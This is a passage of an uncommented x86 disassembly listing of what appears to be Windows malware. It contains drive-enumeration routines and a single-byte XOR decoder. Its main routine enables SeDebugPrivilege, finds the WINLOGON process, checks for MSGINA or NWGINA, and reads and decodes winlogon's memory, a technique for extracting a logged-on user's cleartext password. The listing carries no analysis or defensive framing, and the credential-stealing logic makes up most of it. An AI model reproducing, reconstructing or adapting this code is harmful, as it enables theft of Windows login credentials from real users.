[ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D7D8 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2660ADCh cmp eax, edi jnz short loc_416877 call dword_4CB57C call sub_418359 push esi call near ptr 77E75CB5h nop loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_437D30 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_437D04 loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CB658 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi call near ptr 26E0A61h nop ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D3258 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB684 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437EF4 retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437EF0 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB514 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437F44 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437F08 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CB58C lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CB58C cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 7FA46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 7F8468FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 90535959h, 2C9C9CE8h, 5B5E5F02h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 0E868FFFFh dd 5600437Fh, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 9A8CBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 359523E8h, 75C08502h dd 0FC75FF8Fh, 9172E890h, 75FF0234h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 437FCCh dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 9DE89056h, 85023594h, 56B175C0h, 90EEE890h dd 458B0234h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_4381C0 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 26B0000h nop mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D449C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D4490, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D46A0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D4498, eax call esi mov dword_4D4494, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D3490 push edi push ebx push offset off_4380FC call esi push edi mov edi, offset dword_4D3C90 push edi push offset off_4380E4 call esi cmp [ebp+var_4], 1 push offset dword_4D46A8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D46A8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_438088 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_438050 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_438024 loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 27A0000h pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437FF0 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi call near ptr 26E0A61h nop pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D449C push ebp push 0 call esi push eax call near ptr 27B0000h nop push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D449C test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D4490 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D46A0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D4498 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax call near ptr 27B0000h nop mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D4498 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 268032Dh cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27D027Dh push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 27C0AD9h nop test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D3490 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D3C90 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2770000h test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call near ptr 27608D0h nop test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D46B4, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D46AC, eax mov dword_4D46B0, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27B0000h mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] call near ptr 2660843h nop pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call near ptr 268032Dh nop test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27D027Dh mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27C0AD9h test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax call near ptr 27C0000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27D0000h test eax, eax jz short loc_4174E5 push offset dword_4D3490 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D3C90 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax call near ptr 27B0000h nop jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] nop call near ptr 2660843h loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D46AC, ebx mov dword_4D46B0, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2660843h push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D46A8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27C0000h mov ecx, dword_4D46A8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D46B0 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D46B4 push eax call dword_4D4494 push [ebp+var_4] mov edi, offset dword_4D44A0 push offset dword_4D3490 push offset dword_4D3C90 push [ebp+arg_0] push offset dword_43820C push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27B0000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D46A8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop 